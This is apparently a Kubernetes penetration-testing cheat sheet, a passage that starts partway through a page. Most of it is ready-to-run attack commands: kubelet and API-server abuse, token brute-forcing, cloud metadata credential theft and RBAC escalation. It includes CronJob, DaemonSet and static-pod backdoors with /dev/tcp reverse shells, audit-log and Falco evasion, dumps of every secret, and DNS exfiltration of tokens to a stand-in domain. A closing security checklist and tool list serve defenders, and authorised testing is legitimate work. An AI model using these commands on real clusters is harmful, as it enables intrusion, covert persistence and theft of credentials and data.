# But from inside a pod in the mesh, you still have the proxy sidecar

Kubelet Exploitation

# --- Kubelet API (port 10250) ---

# List pods on this node
kubeletctl pods -s <NODE_IP>
curl -sk https://<NODE_IP>:10250/pods | jq '.items[].metadata.name'

# Exec into any pod on this node
kubeletctl exec "id" -p <POD> -c <CONTAINER> -s <NODE_IP>
kubeletctl exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p <POD> -c <CONTAINER> -s <NODE_IP>

# Scan for RCE capability
kubeletctl scan rce -s <NODE_IP>

# Get container logs
kubeletctl logs -p <POD> -c <CONTAINER> -s <NODE_IP>

# --- Read-only Kubelet (port 10255, deprecated) ---
curl http://<NODE_IP>:10255/pods
curl http://<NODE_IP>:10255/spec
curl http://<NODE_IP>:10255/stats/summary

# --- Steal kubelet credentials ---
# If you've escaped to the host node:
cat /etc/kubernetes/kubelet.conf
cat /var/lib/kubelet/config.yaml
ls /var/lib/kubelet/pki/
# The kubelet client cert can be used to authenticate to the API server
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get pods -A

API Server Attacks

# --- Anonymous authentication ---
curl -sk https://<API>:6443/api/v1/namespaces
# If it returns data → anonymous auth is enabled

# --- Token brute force (from leaked/found tokens) ---
# Try each token
for token in $(cat tokens.txt); do
  result=$(curl -sk -H "Authorization: Bearer $token" https://<API>:6443/api/v1/namespaces 2>&1)
  if echo "$result" | grep -q '"items"'; then
    echo "[+] Valid token: $token"
  fi
done

# --- API server on insecure port ---
curl http://<API>:8080/api/v1/pods
curl http://<API>:8080/api/v1/secrets     # full cluster access!

# --- OIDC/webhook token abuse ---
# If the API server uses OIDC authentication:
# Forge JWT tokens if you have the OIDC provider's signing key
# Or exploit SSRF to hit the OIDC provider

# --- API server DoS (resource exhaustion) ---
# Create many pods/deployments (if RBAC allows)
# Can crash scheduler and etcd on small clusters

Cloud Provider Metadata Attacks

# --- From inside a K8s pod, hit the cloud metadata service ---

# AWS (IMDSv1 — if not restricted by NetworkPolicy or IRSA)
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>
# Returns: AccessKeyId, SecretAccessKey, Token

# AWS IMDSv2 (token required)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/

# AWS EKS — node IAM role
# All pods on the node inherit the node's IAM role unless using IRSA (IAM Roles for Service Accounts)

# GCP
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
# kube-env may contain kubelet certs!

# Azure
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# --- Use stolen cloud creds ---
# AWS
export AWS_ACCESS_KEY_ID=<KEY>
export AWS_SECRET_ACCESS_KEY=<SECRET>
export AWS_SESSION_TOKEN=<TOKEN>
aws sts get-caller-identity
aws eks list-clusters
aws eks update-kubeconfig --name <CLUSTER_NAME> --region <REGION>

# GCP
# Use the token in API calls
curl -s -H "Authorization: Bearer <TOKEN>" https://container.googleapis.com/v1/projects/<PROJECT>/locations/-/clusters

# --- Check if metadata access is blocked ---
curl -s --connect-timeout 2 http://169.254.169.254/
# Timeout = NetworkPolicy or iptables blocking metadata

Lateral Movement in K8s

# --- Pod to pod ---
# If no NetworkPolicies, every pod can reach every other pod
curl http://<POD_IP>:<PORT>

# Find services with internal ClusterIP
kubectl get svc -A -o json | jq '.items[] | {name: .metadata.name, ns: .metadata.namespace, ip: .spec.clusterIP, ports: [.spec.ports[].port]}'

# DNS-based discovery from inside a pod
nslookup <SERVICE_NAME>.<NAMESPACE>.svc.cluster.local

# --- Node to node ---
# If you've escaped to a node:
# Read kubelet config to get API server creds
cat /etc/kubernetes/kubelet.conf

# Pivot to other nodes
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes -o wide
ssh <OTHER_NODE_IP>    # if SSH keys are shared

# --- Cross-namespace ---
# If your SA has cluster-wide permissions:
kubectl exec -it <POD> -n <OTHER_NS> -- bash

# Deploy to another namespace
kubectl run shell --image=ubuntu -n <TARGET_NS> --command -- sleep infinity
kubectl exec -it shell -n <TARGET_NS> -- bash

# --- Service account chaining ---
# Use one SA's permissions to read another SA's token
kubectl get secret -n <NS> -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, token: .data.token}'

Privilege Escalation Paths

# --- Common K8s privilege escalation paths ---

# 1. Pod creation → mount host filesystem → node root
#    (If you can create pods with hostPath)

# 2. Pod creation → privileged container → nsenter → node root

# 3. SA token → create pods → deploy as cluster-admin SA

# 4. SA token → read secrets → find admin creds

# 5. Kubelet API → exec into privileged pod → escape

# 6. etcd access → dump all secrets → cluster-admin

# 7. Cloud metadata → IAM role → EKS/GKE/AKS admin

# 8. RBAC: create/patch rolebindings → grant yourself cluster-admin
kubectl create clusterrolebinding pwned --clusterrole=cluster-admin --user=<YOUR_USER>
kubectl create clusterrolebinding pwned --clusterrole=cluster-admin --serviceaccount=<NS>:<SA>

# 9. RBAC: escalate via impersonation
kubectl --as=system:admin get secrets -A

# 10. RBAC: patch deployments → inject sidecar with privileged SA

# --- Check for escalation paths ---
kubectl auth can-i create clusterrolebindings
kubectl auth can-i bind clusterroles
kubectl auth can-i escalate clusterroles
kubectl auth can-i create pods --all-namespaces
kubectl auth can-i patch deployments --all-namespaces
kubectl auth can-i create pods/exec --all-namespaces

# Automated check with kubectl-who-can
kubectl who-can create clusterrolebindings
kubectl who-can create pods -n kube-system

Persistence in Kubernetes

# --- 1. CronJob backdoor ---
apiVersion: batch/v1
kind: CronJob
metadata:
  name: system-health-check
  namespace: kube-system
spec:
  schedule: "*/30 * * * *"
  jobTemplate:
    spec:
      template:
        spec:
          serviceAccountName: default
          containers:
          - name: check
            image: ubuntu
            command: ["/bin/bash", "-c", "bash -i >& /dev/tcp/<IP>/443 0>&1"]
          restartPolicy: Never
# --- 2. DaemonSet (runs on every node) ---
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor
  namespace: kube-system
spec:
  selector:
    matchLabels:
      app: node-monitor
  template:
    metadata:
      labels:
        app: node-monitor
    spec:
      hostPID: true
      hostNetwork: true
      containers:
      - name: monitor
        image: ubuntu
        command: ["/bin/bash", "-c", "while true; do bash -i >& /dev/tcp/<IP>/443 0>&1; sleep 3600; done"]
        securityContext:
          privileged: true
# --- 3. Mutating webhook (intercept all pod creation) ---
# Create a webhook that injects a sidecar container into every new pod
# This gives persistent access to every pod in the cluster

# --- 4. Static pod on node ---
# If you have node access, place a manifest in /etc/kubernetes/manifests/
# Kubelet auto-creates pods from files in this directory
cat > /etc/kubernetes/manifests/backdoor.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: backdoor
  namespace: kube-system
spec:
  hostNetwork: true
  containers:
  - name: shell
    image: ubuntu
    command: ["/bin/bash", "-c", "while true; do bash -i >& /dev/tcp/<IP>/443 0>&1; sleep 3600; done"]
    securityContext:
      privileged: true
EOF

# --- 5. Shadow admin — create a new cluster-admin SA ---
kubectl create serviceaccount backdoor-sa -n kube-system
kubectl create clusterrolebinding backdoor-binding --clusterrole=cluster-admin --serviceaccount=kube-system:backdoor-sa

# Get the token for later use
kubectl create token backdoor-sa -n kube-system --duration=8760h

Admission Controller Bypass

# --- Identify active admission controllers ---
kubectl get validatingwebhookconfigurations
kubectl get mutatingwebhookconfigurations

# --- Bypass techniques ---

# 1. Target namespaces excluded from webhook (often kube-system)
kubectl get validatingwebhookconfigurations -o json | jq '.items[] | {name: .metadata.name, namespaceSelector: .webhooks[].namespaceSelector}'
# If kube-system is excluded, deploy there

# 2. Use resource types the webhook doesn't cover
# Many webhooks only check Pods/Deployments
# Try: DaemonSets, StatefulSets, Jobs, CronJobs, ReplicaSets

# 3. Webhook failure mode
kubectl get validatingwebhookconfigurations -o json | jq '.items[].webhooks[].failurePolicy'
# "Ignore" = if webhook is down, requests pass through!
# Kill the webhook pod → deploy anything

# 4. Direct API version
# Some webhooks only intercept certain API versions
# Try v1beta1 vs v1

# 5. Ephemeral containers (may bypass pod security checks)
kubectl debug -it <POD> --image=ubuntu --target=<CONTAINER>

Helm & Tiller Attacks

# --- Helm 2 + Tiller (legacy but still found) ---
# Tiller runs as cluster-admin in kube-system
# If you can reach Tiller's gRPC (port 44134):

# Check for Tiller
kubectl get pods -n kube-system | grep tiller
kubectl get svc -n kube-system | grep tiller

# Access Tiller directly (if port is exposed or you can port-forward)
helm --host <TILLER_IP>:44134 version
helm --host <TILLER_IP>:44134 install --name pwn ./malicious-chart

# From inside a pod that can reach tiller-deploy:44134
# Install helm2 client and connect to tiller

# --- Helm 3 (no Tiller) ---
# Helm 3 release secrets are stored as K8s secrets
kubectl get secrets -A | grep sh.helm.release
# Decode to get chart values (may contain creds)
kubectl get secret <RELEASE_SECRET> -o json | jq -r '.data.release' | base64 -d | base64 -d | gzip -d | jq .

CI/CD Pipeline Attacks

# --- K8s service accounts used by CI/CD ---
# Jenkins, GitLab Runner, ArgoCD, Flux often have cluster-admin

# Find CI/CD pods
kubectl get pods -A | grep -iE "jenkins|gitlab|runner|argocd|flux|tekton|drone|concourse"

# Check their service accounts
kubectl get pod <CI_POD> -n <NS> -o json | jq '.spec.serviceAccountName'
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name | test("jenkins|gitlab|argocd|flux")) | {name: .metadata.name, role: .roleRef.name}'

# --- ArgoCD ---
# Default admin password is the argocd-server pod name
kubectl get pods -n argocd -l app.kubernetes.io/name=argocd-server -o name | cut -d/ -f2
# Or check the secret
kubectl get secret argocd-initial-admin-secret -n argocd -o json | jq -r '.data.password' | base64 -d

# ArgoCD API
curl -sk https://<ARGOCD_URL>/api/v1/session -d '{"username":"admin","password":"<PASSWORD>"}'

# --- GitLab Runner secrets ---
kubectl get secrets -n gitlab | grep runner
kubectl get secret <RUNNER_SECRET> -n gitlab -o json | jq '.data | map_values(@base64d)'
# May contain CI_SERVER_URL, RUNNER_TOKEN

# --- Flux ---
kubectl get gitrepositories -A
kubectl get kustomizations -A
# Flux stores git credentials as secrets
kubectl get secrets -A | grep flux

Managed K8s Specifics

EKS (AWS)

# --- EKS specific ---
# List clusters
aws eks list-clusters --region <REGION>
aws eks describe-cluster --name <CLUSTER> --region <REGION>
aws eks update-kubeconfig --name <CLUSTER> --region <REGION>

# Check OIDC provider (used for IRSA)
aws eks describe-cluster --name <CLUSTER> --query "cluster.identity.oidc.issuer"

# Check node IAM role
aws eks describe-nodegroup --cluster-name <CLUSTER> --nodegroup-name <NODEGROUP> --query "nodegroup.nodeRole"

# From a pod: check if IRSA is configured (projected SA token)
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token 2>/dev/null
# If present, this pod has a specific IAM role instead of the node role

# EKS auth configmap (who can authenticate)
kubectl get configmap aws-auth -n kube-system -o yaml
# This maps IAM roles/users to K8s RBAC

# If you can edit aws-auth, add yourself as cluster-admin:
# mapUsers:
#   - userarn: arn:aws:iam::<ACCOUNT>:user/<YOU>
#     username: admin
#     groups: ["system:masters"]

AKS (Azure)

# --- AKS specific ---
az aks list
az aks get-credentials --resource-group <RG> --name <CLUSTER>

# Check for Azure AD integration
az aks show --resource-group <RG> --name <CLUSTER> --query "aadProfile"

# Pod managed identity
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# Azure Key Vault integration
kubectl get secretproviderclass -A
kubectl get pods -A -o json | jq '.items[] | select(.spec.volumes[]?.csi.driver == "secrets-store.csi.k8s.io")'

GKE (Google Cloud)

# --- GKE specific ---
gcloud container clusters list
gcloud container clusters get-credentials <CLUSTER> --zone <ZONE>

# Check for Workload Identity
gcloud container clusters describe <CLUSTER> --zone <ZONE> --format="get(workloadIdentityConfig)"

# GKE metadata concealment
# From a pod:
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
# If kube-env is accessible, it contains kubelet bootstrap creds

# Check node pool config
gcloud container node-pools list --cluster <CLUSTER> --zone <ZONE>
gcloud container node-pools describe <POOL> --cluster <CLUSTER> --zone <ZONE>

Defense Evasion

# --- Avoid audit logs ---
# K8s audit logs track API requests
# Check audit policy
kubectl get configmap -n kube-system | grep audit

# Lower-noise approaches:
# - Use read-only operations (get, list, watch) — often not logged at RequestResponse level
# - Operate from inside pods (API calls from pods blend with normal traffic)
# - Use the kubelet API directly (often not in K8s audit logs)

# --- Avoid Falco/runtime detection ---
# Falco monitors syscalls in containers
# Check for Falco
kubectl get pods -A | grep falco
kubectl get daemonset -A | grep falco

# Lower-noise:
# - Use interpreted languages (Python/Node) instead of spawning new processes
# - Avoid common alert triggers: /etc/shadow reads, /proc/self/exe, reverse shells
# - Use legitimate-looking binaries (curl, wget are normal in most containers)

# --- Pod name camouflage ---
# Name pods to look legitimate
kubectl run kube-proxy-health --image=ubuntu -n kube-system -- sleep infinity
# Looks like a system component

# --- Cleanup ---
# Delete your pods/resources when done
kubectl delete pod <POD> -n <NS>
kubectl delete cronjob <NAME> -n <NS>
kubectl delete clusterrolebinding <NAME>

Post-Exploitation & Data Exfiltration

# --- Dump all secrets ---
kubectl get secrets -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: (.data // {} | map_values(@base64d))}' > all_secrets.json

# --- Dump configmaps ---
kubectl get configmaps -A -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, data: .data}' > all_configmaps.json

# --- Find databases ---
kubectl get svc -A | grep -iE "mysql|postgres|mongo|redis|elastic|kafka|rabbit"
kubectl get pods -A | grep -iE "mysql|postgres|mongo|redis|elastic"

# --- Access databases (via port-forward or direct pod IP) ---
kubectl port-forward svc/<DB_SVC> -n <NS> 3306:3306 &
mysql -h 127.0.0.1 -u <USER> -p'<PASS>'

# --- Copy files from pods ---
kubectl cp <NS>/<POD>:/path/to/file ./local_copy
kubectl cp <NS>/<POD>:/var/log/ ./pod_logs/

# --- Exfil via DNS (if egress is blocked) ---
# From inside a pod, encode data in DNS queries
cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 | fold -w 60 | while read line; do
  nslookup "$line.exfil.yourdomain.com"
done

# --- Persistent access via cloud ---
# If you got cloud creds from metadata, create a backdoor at the cloud level
# AWS: create IAM user, add to EKS
# GCP: create service account key
# Azure: create app registration

Security Checklist

=== KUBERNETES SECURITY ASSESSMENT CHECKLIST ===

[ ] API SERVER
    [ ] Anonymous authentication disabled
    [ ] Insecure port (8080) disabled
    [ ] RBAC enabled (--authorization-mode=RBAC)
    [ ] Audit logging enabled
    [ ] Admission controllers active (PodSecurity, OPA/Gatekeeper)
    [ ] TLS certificates valid and rotated

[ ] ETCD
    [ ] Authentication required (client certs)
    [ ] Encrypted at rest
    [ ] Not exposed externally
    [ ] TLS peer communication

[ ] KUBELET
    [ ] Anonymous auth disabled (--anonymous-auth=false)
    [ ] Authorization mode webhook (not AlwaysAllow)
    [ ] Read-only port (10255) disabled
    [ ] TLS bootstrapping configured

[ ] RBAC
    [ ] No unnecessary cluster-admin bindings
    [ ] Service accounts follow least privilege
    [ ] No wildcard (*) permissions in roles
    [ ] automountServiceAccountToken: false where not needed
    [ ] Regular RBAC audits

[ ] POD SECURITY
    [ ] No privileged containers in non-system namespaces
    [ ] No hostPID/hostNetwork/hostIPC
    [ ] No dangerous capabilities (SYS_ADMIN, SYS_PTRACE)
    [ ] readOnlyRootFilesystem: true
    [ ] runAsNonRoot: true
    [ ] No hostPath mounts to sensitive directories
    [ ] Resource limits set
    [ ] Seccomp/AppArmor profiles applied

[ ] NETWORK
    [ ] NetworkPolicies enforce segmentation
    [ ] Default deny ingress/egress
    [ ] Metadata API blocked from pods (169.254.169.254)
    [ ] Inter-namespace traffic restricted
    [ ] NodePort range limited

[ ] SECRETS
    [ ] Encrypted at rest (EncryptionConfiguration)
    [ ] External secret management (Vault, AWS SM, etc.)
    [ ] No secrets in environment variables or configmaps
    [ ] Secret access audited

[ ] IMAGES
    [ ] Images from trusted registries only
    [ ] Image scanning in CI/CD
    [ ] No latest tag (use immutable digests)
    [ ] Image pull policy: Always (prevent local tampering)
    [ ] Signed images (cosign/Notary)

[ ] CLOUD (EKS/AKS/GKE)
    [ ] IRSA/Workload Identity for pod-level IAM
    [ ] Metadata service access restricted
    [ ] Node IAM role least privilege
    [ ] Private API endpoint (or restricted public)
    [ ] Logging to cloud SIEM (CloudTrail/Stackdriver/Azure Monitor)

References & Tools

Tools

ToolPurpose
kube-hunterAutomated K8s pentest scanner
kubeletctlDirect kubelet interaction
peiratesK8s pentest tool
CDKContainer/K8s exploit toolkit
BOtBContainer breakout tool
kdiggerK8s container breakout
trivyImage vulnerability scanner
kubesecManifest security scanner
kubeauditK8s cluster audit
kube-benchCIS benchmark checker
kubectl-who-canRBAC query
rbac-policeRBAC risk assessment
KubiScanK8s RBAC risk scanner
FalcoRuntime security (defender tool)

References